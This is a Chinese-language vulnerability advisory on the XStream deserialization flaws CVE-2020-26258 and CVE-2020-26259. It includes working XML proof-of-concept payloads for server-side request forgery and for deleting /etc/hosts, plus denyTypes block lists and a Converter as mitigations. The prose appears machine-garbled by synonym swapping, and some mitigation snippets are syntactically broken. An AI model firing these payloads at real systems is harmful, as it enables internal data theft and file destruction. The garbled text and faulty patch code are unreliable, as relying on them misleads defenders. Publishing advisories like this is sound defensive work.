【缝隙公告】XStream反序列化缝隙

颁布功夫 2020-12-14

0x00 缝隙概述

产品名称

CVE ID

类 型

缝隙等级

远程利用

 XStream

CVE-2020-26258

SSRF

中危

是

CVE-2020-26259

肆意文件删除

高危

是

0x01 缝隙详情

 

image.png

2020年12月13日 ,XStream官方颁布安全布告 ,公开了XStream中的两个反序列化缝隙(CVE-2020-26258和CVE-2020-26259) 。详情如下:

XStream服务器端要求伪造缝隙(CVE-2020-26258)

XStream反序列化时处置的流蕴含用于沉新创建以前写入的对象的类型信息 ,其基于这些类型信息创建新的事俘 。攻击者能够通过把持已处置的输入流并代替或插入对象 ,从而提议服务器端伪造要求 。攻击者可利用此缝隙从未公开的内部资源中要求数据 。

缝隙复现:

创建一个单一的HashMap并使用XStream将其序列化为XML(也可使用JSON等其它受支持的体式) 。用以下代码代替XML ,而后用XStream反序列化它:

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>

        <dataHandler>

          <dataSource class='javax.activation.URLDataSource'>

            <url>http://localhost:8080/internal/:</url>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <string>test</string>

  </entry>

</map>

XStream xstream = new XStream();

xstream.fromXML(xml);

一旦反序列化XML ,就会执行Payload并网络来自URL地位的数据 。

 

XStream肆意文件删除缝隙(CVE-2020-26259)

若是攻击者占有把持已处置的输入流的执前过程的权限 ,则攻击者能够通过利用此缝隙删除主机上的肆意文件 。

缝隙复现:

创建一个单一的HashMap并使用XStream将其序列化为XML(也可使用JSON等其它受支持的体式) 。用以下代码代替XML ,而后用XStream反序列化它:

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>

        <dataHandler>

          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>

            <contentType>text/plain</contentType>

            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>

              <tempFile>/etc/hosts</tempFile>

            </is>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <string>test</string>

  </entry>

</map>

XStream xstream = new XStream();

xstream.fromXML(xml);

一旦反序列化XML ,就会执行Payload并删除引用文件 。

 

影响领域:

XStream : <=1.4.14

 

0x02 措置建议

目前XStream已经建复了有关缝隙 ,建议升级至1.4.15版本 。

下载链接:

https://x-stream.github.io/changes.html#1.4.15


XStream 1.4.15以下版本可使用如下解决步骤:

XStream 1.4.14需在XStream的装置代码中增长2行:

xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });

xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });

 

XStream 1.4.13需在XStream的装置代码中增长3行:

xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });

xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });

xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });

 

XStream 1.4.7-1.4.12若是但愿使用XStream的黑名单 ,必要回绝以下类型:

xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });

xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, "jdk.nashorn.internal.objects.NativeString", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });

xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });

 

XStream 1.4.6及更低版本能够通过注册自己的Converter来预防Java运行时的关键类型被反序列化 。

xstream.registerConverter(new Converter() {

  public boolean canConvert(Class type) {

    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class

        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")

        || type == java.lang.Void.class || void.class || Proxy.isProxy(type))

        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));

  }

 

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {

    throw new ConversionException("Unsupported type due to security reasons.");

  }

 

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {

    throw new ConversionException("Unsupported type due to security reasons.");

  }

}, XStream.PRIORITY_LOW);

 

0x03 参考链接

http://x-stream.github.io/CVE-2020-26259.html

https://github.com/x-stream/xstream/security/advisories/GHSA-4cch-wxpw-8p28

https://github.com/x-stream/xstream/security/advisories/GHSA-jfvx-7wrx-43fh

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26259


0x04 功夫线

2020-12-13  XStream颁布安全布告

2020-12-14  VSRC颁布安全公告

 

0x05 附录

 

CVSS评分尺度官网:http://www.first.org/cvss/

image.png